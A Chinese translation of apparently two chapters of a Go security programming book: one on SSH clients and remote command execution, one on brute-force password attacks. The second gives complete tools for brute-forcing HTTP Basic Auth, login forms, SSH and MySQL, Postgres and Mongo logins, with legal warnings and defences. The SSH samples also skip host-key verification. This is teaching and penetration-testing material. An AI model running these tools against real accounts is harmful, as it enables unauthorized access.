身份验证不仅是第一步,而且是最关键的一步。身份验证不当可能导致机密性、完整性和可用性的潜在丧失。如果远程服务器没有经过验证,可能会发生中间人攻击,导致数据被窃听、篡改或阻塞。弱密码身份验证可能会受到暴力破解攻击的利用。
这里提供了三个示例。第一个示例涵盖了常见的密码身份验证,但不推荐使用,因为与加密密钥相比,密码的熵值和位数较低。第二个示例演示了如何使用私钥与远程服务器进行身份验证。这两个示例都忽略了远程主机提供的公钥。这是不安全的,因为你可能最终连接到一个你不信任的远程主机,但对于测试来说已经足够。第三个身份验证示例是理想的流程。它通过密钥进行身份验证,并验证远程服务器。
请注意,本章没有使用 第六章 中的 PEM 格式密钥文件,密码学。本章使用的是 SSH 格式的密钥,这是处理 SSH 时最常见的格式。这些示例与 OpenSSH 工具和密钥兼容,如 ssh、sshd、ssh-keygen、ssh-copy-id 和 ssh-keyscan。
我建议你使用 ssh-keygen 来生成用于身份验证的公钥和私钥对。这将生成 SSH 密钥格式的 id_rsa 和 id_rsa.pub 文件。ssh-keygen 工具是 OpenSSH 项目的一部分,并且默认与 Ubuntu 一起打包:
ssh-keygen
使用ssh-copy-id将你的公钥(id_rsa.pub)复制到远程服务器的~/.ssh/authorized_keys文件中,这样你就可以使用私钥进行身份验证:
ssh-copy-id yourserver.com
使用密码进行身份验证
通过 SSH 进行密码认证是最简单的方法。此示例演示了如何使用ssh.ClientConfig结构配置 SSH 客户端,然后使用ssh.Dial()连接到 SSH 服务器。客户端被配置为通过指定ssh.Password()作为身份验证函数来使用密码:
package main
import (
"golang.org/x/crypto/ssh"
"log"
)
var username = "username"
var password = "password"
var host = "example.com:22"
func main() {
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{
ssh.Password(password),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
client, err := ssh.Dial("tcp", host, config)
if err != nil {
log.Fatal("Error dialing server. ", err)
}
log.Println(string(client.ClientVersion()))
}
使用私钥进行身份验证
私钥相比密码有一些优势。它比密码长得多,使得暴力破解变得更加困难。它还消除了输入密码的需求,方便连接远程服务器。无密码身份验证对于 cron 任务和其他需要自动运行的服务非常有用。此外,一些服务器完全禁用了密码身份验证,要求使用密钥。
远程服务器需要将你的公钥设置为授权密钥,才能通过私钥进行身份验证。
如果你的系统上有ssh-copy-id工具,你可以使用它。它会将你的公钥复制到远程服务器,放置在主文件夹的 SSH 目录中(~/.ssh/authorized_keys),并设置正确的权限:
ssh-copy-id example.com
以下示例与之前的示例类似,我们使用密码进行身份验证,但ssh.ClientConfig配置为使用ssh.PublicKeys()作为身份验证函数,而不是ssh.Password()。我们还将创建一个名为getKeySigner()的特殊函数,以便从文件中加载客户端的私钥:
package main
import (
"golang.org/x/crypto/ssh"
"io/ioutil"
"log"
)
var username = "username"
var host = "example.com:22"
var privateKeyFile = "/home/user/.ssh/id_rsa"
func getKeySigner(privateKeyFile string) ssh.Signer {
privateKeyData, err := ioutil.ReadFile(privateKeyFile)
if err != nil {
log.Fatal("Error loading private key file. ", err)
}
privateKey, err := ssh.ParsePrivateKey(privateKeyData)
if err != nil {
log.Fatal("Error parsing private key. ", err)
}
return privateKey
}
func main() {
privateKey := getKeySigner(privateKeyFile)
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{
ssh.PublicKeys(privateKey), // Pass 1 or more key
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
client, err := ssh.Dial("tcp", host, config)
if err != nil {
log.Fatal("Error dialing server. ", err)
}
log.Println(string(client.ClientVersion()))
}
请注意,你可以将多个私钥传递给ssh.PublicKeys()函数。它可以接受无限数量的密钥。如果你提供了多个密钥,而只有一个能够正常工作,系统将自动使用那个有效的密钥。
如果你希望使用相同的配置连接多个服务器,这将非常有用。你可能希望使用 1,000 个不同的主机名连接到 1,000 个不同的服务器,并使用 1,000 个独特的私钥。你无需为每个主机配置多个 SSH 客户端配置,而是可以重用一个包含所有私钥的单一配置。
验证远程主机
要验证远程主机,在ssh.ClientConfig中,将HostKeyCallback设置为ssh.FixedHostKey()并传入远程主机的公钥。如果你尝试连接到服务器且它提供了不同的公钥,连接将会被中断。这对于确保你连接到的是预期的服务器而不是恶意服务器非常重要。如果 DNS 遭到破坏,或者攻击者成功执行了 ARP 欺骗攻击,你的连接可能会被重定向,或者成为中间人攻击的受害者,但攻击者无法在没有相应私钥的情况下伪装成真实服务器。为了测试目的,你可以选择忽略远程主机提供的密钥。
这个示例是连接的最安全方式。它使用密钥进行身份验证,而不是密码,并且验证远程服务器的公钥。
该方法将使用 ssh.ParseKnownHosts()。它使用标准的 known_hosts 文件。known_hosts 格式是 OpenSSH 的标准格式,文档可以参考 sshd(8) 手册页。
请注意,Go 的 ssh.ParseKnownHosts() 只会解析单一条目,因此你应创建一个包含单个条目的唯一文件,或者确保所需条目位于文件的顶部。
要获取远程服务器的公钥以进行验证,可以使用 ssh-keyscan。它将返回以 known_hosts 格式的服务器密钥,以下示例将使用该格式。记住,Go 的 ssh.ParseKnownHosts 命令只会读取 known_hosts 文件中的第一条条目:
ssh-keyscan yourserver.com
ssh-keyscan 程序会返回多种密钥类型,除非通过 -t 标志指定了密钥类型。确保选择与所需密钥算法匹配的类型,并且 ssh.ClientConfig() 中列出的 HostKeyAlgorithm 也要匹配。此示例包括了所有可能的 ssh.KeyAlgo* 选项。我建议你选择最强的算法,并只允许该选项:
package main
import (
"golang.org/x/crypto/ssh"
"io/ioutil"
"log"
)
var username = "username"
var host = "example.com:22"
var privateKeyFile = "/home/user/.ssh/id_rsa"
// Known hosts only reads FIRST entry
var knownHostsFile = "/home/user/.ssh/known_hosts"
func getKeySigner(privateKeyFile string) ssh.Signer {
privateKeyData, err := ioutil.ReadFile(privateKeyFile)
if err != nil {
log.Fatal("Error loading private key file. ", err)
}
privateKey, err := ssh.ParsePrivateKey(privateKeyData)
if err != nil {
log.Fatal("Error parsing private key. ", err)
}
return privateKey
}
func loadServerPublicKey(knownHostsFile string) ssh.PublicKey {
publicKeyData, err := ioutil.ReadFile(knownHostsFile)
if err != nil {
log.Fatal("Error loading server public key file. ", err)
}
_, _, publicKey, _, _, err := ssh.ParseKnownHosts(publicKeyData)
if err != nil {
log.Fatal("Error parsing server public key. ", err)
}
return publicKey
}
func main() {
userPrivateKey := getKeySigner(privateKeyFile)
serverPublicKey := loadServerPublicKey(knownHostsFile)
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{
ssh.PublicKeys(userPrivateKey),
},
HostKeyCallback: ssh.FixedHostKey(serverPublicKey),
// Acceptable host key algorithms (Allow all)
HostKeyAlgorithms: []string{
ssh.KeyAlgoRSA,
ssh.KeyAlgoDSA,
ssh.KeyAlgoECDSA256,
ssh.KeyAlgoECDSA384,
ssh.KeyAlgoECDSA521,
ssh.KeyAlgoED25519,
},
}
client, err := ssh.Dial("tcp", host, config)
if err != nil {
log.Fatal("Error dialing server. ", err)
}
log.Println(string(client.ClientVersion()))
}
请注意,除了 ssh.KeyAlgo* 常量外,如果使用证书,还有 ssh.CertAlgo* 常量。
执行 SSH 命令
现在我们已经建立了多种身份验证和连接远程 SSH 服务器的方式,我们需要开始使用 ssh.Client。到目前为止,我们只是在打印客户端版本。第一个目标是执行一个命令并查看输出。
一旦创建了 ssh.Client,你可以开始创建会话。一个客户端可以同时支持多个会话。每个会话都有自己的标准输入、输出和错误,它们是标准的读写接口。
执行命令有几种选择:Run()、Start()、Output() 和 CombinedOutput()。它们非常相似,但行为略有不同:
-
session.Output(cmd):Output()函数将执行命令,并返回session.Stdout作为字节切片。 -
session.CombinedOutput(cmd):此函数与Output()相同,但它将返回标准输出和标准错误的组合。 -
session.Run(cmd):Run()函数将执行命令并等待其完成。它会填充标准输出和错误缓冲区,但不会对它们做任何处理。你必须手动读取缓冲区,或者在调用Run()前将会话输出设置为终端输出(例如,session.Stdout = os.Stdout)。只有当程序以错误代码0退出且没有出现标准输出缓冲区复制问题时,它才会返回并且不报错。 -
session.Start(cmd):Start()函数与Run()类似,唯一的不同是它不会等待命令完成。如果你希望在命令完成之前阻塞执行,必须显式调用session.Wait()。这个方法对于启动长时间运行的命令或需要更多控制应用程序流程的场景非常有用。
一个会话只能执行一个操作。一旦调用了Run()、Output()、CombinedOutput()、Start()或Shell(),该会话就不能用于执行其他命令。如果你需要运行多个命令,可以将它们用分号分隔在一起。例如,可以像这样将多个命令传递到单个命令字符串中:
df -h; ps aux; pwd; whoami;
否则,你可以为每个需要执行的命令创建一个新的会话。一个会话等同于一个命令。
以下示例使用密钥认证连接到远程 SSH 服务器,然后使用client.NewSession()创建一个会话。会话的标准输出被连接到我们本地终端的标准输出,然后调用session.Run(),它将在远程服务器上执行命令:
package main
import (
"golang.org/x/crypto/ssh"
"io/ioutil"
"log"
"os"
)
var username = "username"
var host = "example.com:22"
var privateKeyFile = "/home/user/.ssh/id_rsa"
var commandToExecute = "hostname"
func getKeySigner(privateKeyFile string) ssh.Signer {
privateKeyData, err := ioutil.ReadFile(privateKeyFile)
if err != nil {
log.Fatal("Error loading private key file. ", err)
}
privateKey, err := ssh.ParsePrivateKey(privateKeyData)
if err != nil {
log.Fatal("Error parsing private key. ", err)
}
return privateKey
}
func main() {
privateKey := getKeySigner(privateKeyFile)
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{
ssh.PublicKeys(privateKey),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
client, err := ssh.Dial("tcp", host, config)
if err != nil {
log.Fatal("Error dialing server. ", err)
}
// Multiple sessions per client are allowed
session, err := client.NewSession()
if err != nil {
log.Fatal("Failed to create session: ", err)
}
defer session.Close()
// Pipe the session output directly to standard output
// Thanks to the convenience of writer interface
session.Stdout = os.Stdout
err = session.Run(commandToExecute)
if err != nil {
log.Fatal("Error executing command. ", err)
}
}
启动交互式 Shell
在之前的示例中,我们展示了如何运行命令字符串。还有一个选项是打开一个 Shell。通过调用session.Shell(),会执行一个交互式登录 Shell,加载用户的默认 Shell 并加载默认配置文件(例如,.profile)。调用session.RequestPty()是可选的,但当请求伪终端时,Shell 的表现会更好。你可以将终端名称设置为xterm、vt100、linux,或自定义名称。如果由于输出颜色值而导致乱码,尝试使用vt100,如果仍然无法解决问题,可以使用非标准的终端名称,或使用你知道不支持颜色的终端名称。许多程序会在不识别终端名称时禁用颜色输出。某些程序在遇到未知终端类型时可能无法正常工作,例如tmux。
更多关于 Go 终端模式常量的信息可以在godoc.org/golang.org/x/crypto/ssh#TerminalModes中找到。终端模式标志是 POSIX 标准,定义在RFC 4254的终端模式编码(第八部分)中,你可以在tools.ietf.org/html/rfc4254#section-8找到相关内容。
以下示例使用密钥认证连接到 SSH 服务器,然后通过client.NewSession()创建一个新会话。与之前的示例不同,我们不会使用session.Run()执行命令,而是使用session.RequestPty()来获取一个交互式 Shell。来自远程会话的标准输入、输出和错误流都会连接到本地终端,因此你可以像其他任何 SSH 客户端一样实时与其互动(例如,PuTTY):
package main
import (
"fmt"
"golang.org/x/crypto/ssh"
"io/ioutil"
"log"
"os"
)
func checkArgs() (string, string, string) {
if len(os.Args) != 4 {
printUsage()
os.Exit(1)
}
return os.Args[1], os.Args[2], os.Args[3]
}
func printUsage() {
fmt.Println(os.Args[0] + ` - Open an SSH shell
Usage:
` + os.Args[0] + ` <username> <host> <privateKeyFile>
Example:
` + os.Args[0] + ` nanodano devdungeon.com:22 ~/.ssh/id_rsa
`)
}
func getKeySigner(privateKeyFile string) ssh.Signer {
privateKeyData, err := ioutil.ReadFile(privateKeyFile)
if err != nil {
log.Fatal("Error loading private key file. ", err)
}
privateKey, err := ssh.ParsePrivateKey(privateKeyData)
if err != nil {
log.Fatal("Error parsing private key. ", err)
}
return privateKey
}
func main() {
username, host, privateKeyFile := checkArgs()
privateKey := getKeySigner(privateKeyFile)
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{
ssh.PublicKeys(privateKey),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
client, err := ssh.Dial("tcp", host, config)
if err != nil {
log.Fatal("Error dialing server. ", err)
}
session, err := client.NewSession()
if err != nil {
log.Fatal("Failed to create session: ", err)
}
defer session.Close()
// Pipe the standard buffers together
session.Stdout = os.Stdout
session.Stdin = os.Stdin
session.Stderr = os.Stderr
// Get psuedo-terminal
err = session.RequestPty(
"vt100", // or "linux", "xterm"
40, // Height
80, // Width
// https://godoc.org/golang.org/x/crypto/ssh#TerminalModes
// POSIX Terminal mode flags defined in RFC 4254 Section 8.
// https://tools.ietf.org/html/rfc4254#section-8
ssh.TerminalModes{
ssh.ECHO: 0,
})
if err != nil {
log.Fatal("Error requesting psuedo-terminal. ", err)
}
// Run shell until it is exited
err = session.Shell()
if err != nil {
log.Fatal("Error executing command. ", err)
}
session.Wait()
}
总结
阅读完本章后,你应该已经理解如何使用 Go SSH 客户端通过密码或私钥进行连接和认证。此外,你现在应该了解如何在远程服务器上执行命令,或者如何开始交互式会话。
你如何以编程方式应用 SSH 客户端?你能想到什么使用场景吗?你是否管理多个远程服务器?你能否自动化某些任务?
SSH 包还包含用于创建 SSH 服务器的类型和函数,但我们在本书中没有涉及这些内容。关于创建 SSH 服务器的更多信息,请阅读 godoc.org/golang.org/x/crypto/ssh#NewServerConn,以及关于 SSH 包的更多信息,请阅读 godoc.org/golang.org/x/crypto/ssh。
在下一章中,我们将讨论暴力破解攻击,即通过不断猜测密码,直到最终找到正确的密码。暴力破解是我们可以使用 SSH 客户端以及其他协议和应用程序进行的操作。继续阅读下一章,了解如何执行暴力破解攻击。
第八章:暴力破解
暴力破解攻击,也叫穷举键攻击,是指尝试所有可能的输入组合,直到最终得到正确的组合。最常见的例子就是暴力破解密码。你可以尝试所有字符、字母和符号的组合,或者你可以使用字典列表作为密码的基础。你可以在网上找到基于常见密码的字典和预构建的单词列表,或者你也可以自己创建。
暴力破解密码攻击有不同的类型。有在线攻击,比如反复尝试登录网站或数据库。由于网络延迟和带宽限制,在线攻击要慢得多。服务可能还会在尝试失败过多时限制速率或锁定账户。另一方面,也有离线攻击。离线攻击的一个例子是,当你在本地硬盘上有一个包含哈希密码的数据库转储时,你可以在没有限制的情况下进行暴力破解,唯一的限制是物理硬件。严肃的密码破解者会建造配备多块强大显卡的计算机来进行破解,这些计算机的成本高达数万美元。
关于在线暴力破解攻击需要注意的一点是,它们非常容易被检测到,产生大量流量,可能给服务器带来巨大的负载,甚至使其完全崩溃,并且除非得到许可,否则是非法的。关于在线服务的许可可能会引起误解。例如,虽然你在像 Facebook 这样的服务上拥有账户,并不意味着你有权限对自己的账户进行暴力破解攻击。Facebook 仍然拥有服务器,你没有权限攻击他们的网站,即使仅仅是针对你的账户。即便你在自己的服务器上运行 SSH 服务,如 Amazon 服务器,你仍然没有进行暴力破解攻击的权限。你必须获得特别的渗透测试许可,才能对 Amazon 资源进行测试。你可以使用自己的虚拟机进行本地测试。
网络漫画 xkcd 有一则漫画完美地与暴力破解密码的主题相关:

这些攻击中的大多数,甚至所有攻击,都可以通过以下一种或多种技术来防护:
-
强密码(理想情况下是密码短语或密钥)
-
在失败尝试时实施速率限制/临时锁定
-
使用 CAPTCHA
-
添加双因素认证
-
对密码进行加盐处理
-
限制对服务器的访问
本章将介绍几个暴力破解的示例,包括以下内容:
-
HTTP 基本认证
-
HTML 登录表单
-
SSH 密码验证
-
数据库
暴力破解 HTTP 基本认证
HTTP 基本认证是指在 HTTP 请求中提供用户名和密码。你可以在现代浏览器中将其作为 URL 的一部分传递。参考这个示例:
http://username:password@www.example.com
当以编程方式添加基本认证时,凭证会作为名为Authorization的 HTTP 头提供,该头包含一个值,即username:password的 base64 编码值,并以Basic为前缀,两者之间用空格分隔。请参见以下示例:
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
当认证失败时,Web 服务器通常会响应401 Access Denied代码,而成功时则应响应2xx成功代码,例如200 OK。
这个示例将接受一个 URL 和一个username值,并尝试使用生成的密码进行登录。
为了减少此类攻击的效果,建议在多次登录失败后实现限流功能或账户锁定功能。
如果您需要从头开始构建自己的密码列表,可以尝试从维基百科上文档化的最常见密码开始,en.wikipedia.org/wiki/List_of_the_most_common_passwords。以下是您可以保存为passwords.txt的简短示例:
password
123456
qwerty
abc123
iloveyou
admin
passw0rd
将前面代码块中的密码列表保存为一个文本文件,每行一个密码。文件名不重要,因为您会将密码列表文件名作为命令行参数提供:
package main
import (
"bufio"
"fmt"
"log"
"net/http"
"os"
)
func printUsage() {
fmt.Println(os.Args[0] + ` - Brute force HTTP Basic Auth
Passwords should be separated by newlines.
URL should include protocol prefix.
Usage:
` + os.Args[0] + ` <username> <pwlistfile> <url>
Example:
` + os.Args[0] + ` admin passwords.txt https://www.test.com
`)
}
func checkArgs() (string, string, string) {
if len(os.Args) != 4 {
log.Println("Incorrect number of arguments.")
printUsage()
os.Exit(1)
}
// Username, Password list filename, URL
return os.Args[1], os.Args[2], os.Args[3]
}
func testBasicAuth(url, username, password string, doneChannel chan bool) {
client := &http.Client{}
request, err := http.NewRequest("GET", url, nil)
request.SetBasicAuth(username, password)
response, err := client.Do(request)
if err != nil {
log.Fatal(err)
}
if response.StatusCode == 200 {
log.Printf("Success!\nUser: %s\nPassword: %s\n", username,
password)
os.Exit(0)
}
doneChannel <- true
}
func main() {
username, pwListFilename, url := checkArgs()
// Open password list file
passwordFile, err := os.Open(pwListFilename)
if err != nil {
log.Fatal("Error opening file. ", err)
}
defer passwordFile.Close()
// Default split method is on newline (bufio.ScanLines)
scanner := bufio.NewScanner(passwordFile)
doneChannel := make(chan bool)
numThreads := 0
maxThreads := 2
// Check each password against url
for scanner.Scan() {
numThreads += 1
password := scanner.Text()
go testBasicAuth(url, username, password, doneChannel)
// If max threads reached, wait for one to finish before continuing
if numThreads >= maxThreads {
<-doneChannel
numThreads -= 1
}
}
// Wait for all threads before repeating and fetching a new batch
for numThreads > 0 {
<-doneChannel
numThreads -= 1
}
}
暴力破解 HTML 登录表单
几乎所有拥有用户系统的网站都会在网页上提供一个登录表单。我们可以编写一个程序,反复提交这个登录表单。这个示例假设该网站应用程序没有启用验证码、限制频率或其他防止攻击的机制。请记住,千万不要对任何生产网站或您没有拥有或许可的网站进行此类攻击。如果您想进行测试,建议您搭建一个本地服务器,只在本地进行测试。
每个网页表单的username和password字段的名称可能不同,因此在每次执行时需要提供这些字段的名称,并且这些名称必须与所攻击的 URL 特定。
查看源代码或检查目标表单,以获取输入元素的name属性以及form元素的目标action属性。如果form元素中未提供 action URL,则默认为当前 URL。另一个重要的信息是表单使用的方法。登录表单应该是POST方法,但也有可能编码不当而使用GET方法。一些登录表单使用 JavaScript 来提交表单,并可能完全绕过标准的表单方法。使用这类逻辑的网站需要更多的逆向工程才能确定最终的提交目标是什么以及数据是如何格式化的。您可以使用 HTML 代理或使用浏览器中的网络检查器查看 XHR 请求。
后面的章节将讨论网页抓取和在DOM接口中查询,以便根据名称或 CSS 选择器找到特定元素,但本章不会讨论尝试自动检测表单字段和识别正确输入元素。这一步必须在此手动完成,但一旦识别出来,暴力破解攻击就可以自行运行。
要防止这类攻击,可以实施验证码系统或速率限制功能。
请注意,每个 Web 应用程序都可以有自己的身份验证方式。这不是一种适合所有情况的解决方案。它提供了一个基本的HTTP POST表单登录示例,但需要稍作修改以适应不同的应用程序。
package main
import (
"bufio"
"bytes"
"fmt"
"log"
"net/http"
"os"
)
func printUsage() {
fmt.Println(os.Args[0] + ` - Brute force HTTP Login Form
Passwords should be separated by newlines.
URL should include protocol prefix.
You must identify the form's post URL and username and password
field names and pass them as arguments.
Usage:
` + os.Args[0] + ` <pwlistfile> <login_post_url> ` +
`<username> <username_field> <password_field>
Example:
` + os.Args[0] + ` passwords.txt` +
` https://test.com/login admin username password
`)
}
func checkArgs() (string, string, string, string, string) {
if len(os.Args) != 6 {
log.Println("Incorrect number of arguments.")
printUsage()
os.Exit(1)
}
// Password list, Post URL, username, username field,
// password field
return os.Args[1], os.Args[2], os.Args[3], os.Args[4], os.Args[5]
}
func testLoginForm(
url,
userField,
passField,
username,
password string,
doneChannel chan bool,
)
{
postData := userField + "=" + username + "&" + passField +
"=" + password
request, err := http.NewRequest(
"POST",
url,
bytes.NewBufferString(postData),
)
client := &http.Client{}
response, err := client.Do(request)
if err != nil {
log.Println("Error making request. ", err)
}
defer response.Body.Close()
body := make([]byte, 5000) // ~5k buffer for page contents
response.Body.Read(body)
if bytes.Contains(body, []byte("ERROR")) {
log.Println("Error found on website.")
}
log.Printf("%s", body)
if bytes.Contains(body,[]byte("ERROR")) || response.StatusCode != 200 {
// Error on page or in response code
} else {
log.Println("Possible success with password: ", password)
// os.Exit(0) // Exit on success?
}
doneChannel <- true
}
func main() {
pwList, postUrl, username, userField, passField := checkArgs()
// Open password list file
passwordFile, err := os.Open(pwList)
if err != nil {
log.Fatal("Error opening file. ", err)
}
defer passwordFile.Close()
// Default split method is on newline (bufio.ScanLines)
scanner := bufio.NewScanner(passwordFile)
doneChannel := make(chan bool)
numThreads := 0
maxThreads := 32
// Check each password against url
for scanner.Scan() {
numThreads += 1
password := scanner.Text()
go testLoginForm(
postUrl,
userField,
passField,
username,
password,
doneChannel,
)
// If max threads reached, wait for one to finish before
//continuing
if numThreads >= maxThreads {
<-doneChannel
numThreads -= 1
}
}
// Wait for all threads before repeating and fetching a new batch
for numThreads > 0 {
<-doneChannel
numThreads -= 1
}
}
SSH 的暴力破解
安全外壳或 SSH 支持几种身份验证机制。如果服务器仅支持公钥身份验证,那么暴力破解尝试几乎是徒劳的。这个例子仅仅关注 SSH 的密码身份验证。
要防止这种攻击,可以实施速率限制或使用像 fail2ban 这样的工具,在检测到多次失败的登录尝试后暂时锁定账户。还要禁用 root 远程登录。有些人喜欢将 SSH 放在非标准端口上,但最终可能将其放在像2222这样的高端非限制端口上,这不是一个好主意。如果您使用高端非特权端口(如2222),那么另一个低特权用户可能会劫持该端口,并在其下运行自己的服务,如果端口崩溃则会产生这种情况。如果您想要更改端口,请将 SSH 守护程序放在低于1024的端口上,以此来更改默认设置。
这种攻击在日志中显然很嘈杂,易于检测,并且可以通过像 fail2ban 这样的工具进行阻止。但是如果你在进行渗透测试,检查是否存在速率限制或账户锁定功能可以作为一个快速方法。如果没有配置速率限制或临时账户锁定,暴力破解和 DDoS 攻击就是潜在风险。
运行此程序需要从golang.org获取一个 SSH 包。您可以使用以下命令获取它:
go get golang.org/x/crypto/ssh
安装所需的ssh包后,您可以运行以下示例:
package main
import (
"bufio"
"fmt"
"log"
"os"
"golang.org/x/crypto/ssh"
)
func printUsage() {
fmt.Println(os.Args[0] + ` - Brute force SSH Password
Passwords should be separated by newlines.
URL should include hostname or ip with port number separated by colon
Usage:
` + os.Args[0] + ` <username> <pwlistfile> <url:port>
Example:
` + os.Args[0] + ` root passwords.txt example.com:22
`)
}
func checkArgs() (string, string, string) {
if len(os.Args) != 4 {
log.Println("Incorrect number of arguments.")
printUsage()
os.Exit(1)
}
// Username, Password list filename, URL
return os.Args[1], os.Args[2], os.Args[3]
}
func testSSHAuth(url, username, password string, doneChannel chan bool) {
sshConfig := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{
ssh.Password(password),
},
// Do not check server key
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
// Or, set the expected ssh.PublicKey from remote host
//HostKeyCallback: ssh.FixedHostKey(pubkey),
}
_, err := ssh.Dial("tcp", url, sshConfig)
if err != nil {
// Print out the error so we can see if it is just a failed
// auth or if it is a connection/name resolution problem.
log.Println(err)
} else { // Success
log.Printf("Success!\nUser: %s\nPassword: %s\n", username,
password)
os.Exit(0)
}
doneChannel <- true // Signal another thread spot has opened up
}
func main() {
username, pwListFilename, url := checkArgs()
// Open password list file
passwordFile, err := os.Open(pwListFilename)
if err != nil {
log.Fatal("Error opening file. ", err)
}
defer passwordFile.Close()
// Default split method is on newline (bufio.ScanLines)
scanner := bufio.NewScanner(passwordFile)
doneChannel := make(chan bool)
numThreads := 0
maxThreads := 2
// Check each password against url
for scanner.Scan() {
numThreads += 1
password := scanner.Text()
go testSSHAuth(url, username, password, doneChannel)
// If max threads reached, wait for one to finish before continuing
if numThreads >= maxThreads {
<-doneChannel
numThreads -= 1
}
}
// Wait for all threads before repeating and fetching a new batch
for numThreads > 0 {
<-doneChannel
numThreads -= 1
}
}
数据库登录的暴力破解
数据库登录可以像其他方法一样自动化和暴力破解。在前面的暴力破解示例中,大部分代码都是相同的。这些应用程序之间的主要区别在于实际测试认证的功能。而不是再次重复所有代码,这些片段将简单地演示如何登录到各种数据库。修改前面的暴力破解脚本,以测试这些数据库之一,而不是 SSH 或 HTTP 方法。
要防止这种情况发生,请限制数据库访问仅限于需要的机器,并禁用 root 远程登录。
Go 语言的标准库并未提供任何数据库驱动,只提供了接口。因此,所有这些数据库示例都需要一个来自 GitHub 的第三方包,以及一个正在运行的数据库实例来进行连接。本书不涉及如何安装和配置这些数据库服务。每个包可以通过go get命令进行安装:
-
MongoDB:
github.com/go-mgo/mgo -
PostgreSQL:
github.com/lib/pq
这个示例结合了三种数据库库,并提供了一个工具,可以对 MySQL、MongoDB 或 PostgreSQL 进行暴力破解。数据库类型通过命令行参数指定,并且包括用户名、主机、密码文件和数据库名称。MongoDB 和 MySQL 不需要像 PostgreSQL 那样指定数据库名称,因此在不使用postgres选项时,数据库名称是可选的。一个名为loginFunc的特殊变量被创建来存储与指定数据库类型相关的登录函数。这是我们第一次使用变量来保存函数。然后,登录函数被用来执行暴力破解攻击:
package main
import (
"database/sql"
"log"
"time"
// Underscore means only import for
// the initialization effects.
// Without it, Go will throw an
// unused import error since the mysql+postgres
// import only registers a database driver
// and we use the generic sql.Open()
"bufio"
"fmt"
_ "github.com/go-sql-driver/mysql"
_ "github.com/lib/pq"
"gopkg.in/mgo.v2"
"os"
)
// Define these at the package level since they don't change,
// so we don't have to pass them around between functions
var (
username string
// Note that some databases like MySQL and Mongo
// let you connect without specifying a database name
// and the value will be omitted when possible
dbName string
host string
dbType string
passwordFile string
loginFunc func(string)
doneChannel chan bool
activeThreads = 0
maxThreads = 10
)
func loginPostgres(password string) {
// Create the database connection string
// postgres://username:password@host/database
connStr := "postgres://"
connStr += username + ":" + password
connStr += "@" + host + "/" + dbName
// Open does not create database connection, it waits until
// a query is performed
db, err := sql.Open("postgres", connStr)
if err != nil {
log.Println("Error with connection string. ", err)
}
// Ping will cause database to connect and test credentials
err = db.Ping()
if err == nil { // No error = success
exitWithSuccess(password)
} else {
// The error is likely just an access denied,
// but we print out the error just in case it
// is a connection issue that we need to fix
log.Println("Error authenticating with Postgres. ", err)
}
doneChannel <- true
}
func loginMysql(password string) {
// Create database connection string
// user:password@tcp(host)/database?charset=utf8
// The database name is not required for a MySQL
// connection so we leave it off here.
// A user may have access to multiple databases or
// maybe we do not know any database names
connStr := username + ":" + password
connStr += "@tcp(" + host + ")/" // + dbName
connStr += "?charset=utf8"
// Open does not create database connection, it waits until
// a query is performed
db, err := sql.Open("mysql", connStr)
if err != nil {
log.Println("Error with connection string. ", err)
}
// Ping will cause database to connect and test credentials
err = db.Ping()
if err == nil { // No error = success
exitWithSuccess(password)
} else {
// The error is likely just an access denied,
// but we print out the error just in case it
// is a connection issue that we need to fix
log.Println("Error authenticating with MySQL. ", err)
}
doneChannel <- true
}
func loginMongo(password string) {
// Define Mongo connection info
// mgo does not use the Go sql driver like the others
mongoDBDialInfo := &mgo.DialInfo{
Addrs: []string{host},
Timeout: 10 * time.Second,
// Mongo does not require a database name
// so it is omitted to improve auth chances
//Database: dbName,
Username: username,
Password: password,
}
_, err := mgo.DialWithInfo(mongoDBDialInfo)
if err == nil { // No error = success
exitWithSuccess(password)
} else {
log.Println("Error connecting to Mongo. ", err)
}
doneChannel <- true
}
func exitWithSuccess(password string) {
log.Println("Success!")
log.Printf("\nUser: %s\nPass: %s\n", username, password)
os.Exit(0)
}
func bruteForce() {
// Load password file
passwords, err := os.Open(passwordFile)
if err != nil {
log.Fatal("Error opening password file. ", err)
}
// Go through each password, line-by-line
scanner := bufio.NewScanner(passwords)
for scanner.Scan() {
password := scanner.Text()
// Limit max goroutines
if activeThreads >= maxThreads {
<-doneChannel // Wait
activeThreads -= 1
}
// Test the login using the specified login function
go loginFunc(password)
activeThreads++
}
// Wait for all threads before returning
for activeThreads > 0 {
<-doneChannel
activeThreads -= 1
}
}
func checkArgs() (string, string, string, string, string) {
// Since the database name is not required for Mongo or Mysql
// Just set the dbName arg to anything.
if len(os.Args) == 5 &&
(os.Args[1] == "mysql" || os.Args[1] == "mongo") {
return os.Args[1], os.Args[2], os.Args[3], os.Args[4],
"IGNORED"
}
// Otherwise, expect all arguments.
if len(os.Args) != 6 {
printUsage()
os.Exit(1)
}
return os.Args[1], os.Args[2], os.Args[3], os.Args[4], os.Args[5]
}
func printUsage() {
fmt.Println(os.Args[0] + ` - Brute force database login
Attempts to brute force a database login for a specific user with
a password list. Database name is ignored for MySQL and Mongo,
any value can be provided, or it can be omitted. Password file
should contain passwords separated by a newline.
Database types supported: mongo, mysql, postgres
Usage:
` + os.Args[0] + ` (mysql|postgres|mongo) <pwFile>` +
` <user> <host>[:port] <dbName>
Examples:
` + os.Args[0] + ` postgres passwords.txt nanodano` +
` localhost:5432 myDb
` + os.Args[0] + ` mongo passwords.txt nanodano localhost
` + os.Args[0] + ` mysql passwords.txt nanodano localhost`)
}
func main() {
dbType, passwordFile, username, host, dbName = checkArgs()
switch dbType {
case "mongo":
loginFunc = loginMongo
case "postgres":
loginFunc = loginPostgres
case "mysql":
loginFunc = loginMysql
default:
fmt.Println("Unknown database type: " + dbType)
fmt.Println("Expected: mongo, postgres, or mysql")
os.Exit(1)
}
doneChannel = make(chan bool)
bruteForce()
}
总结
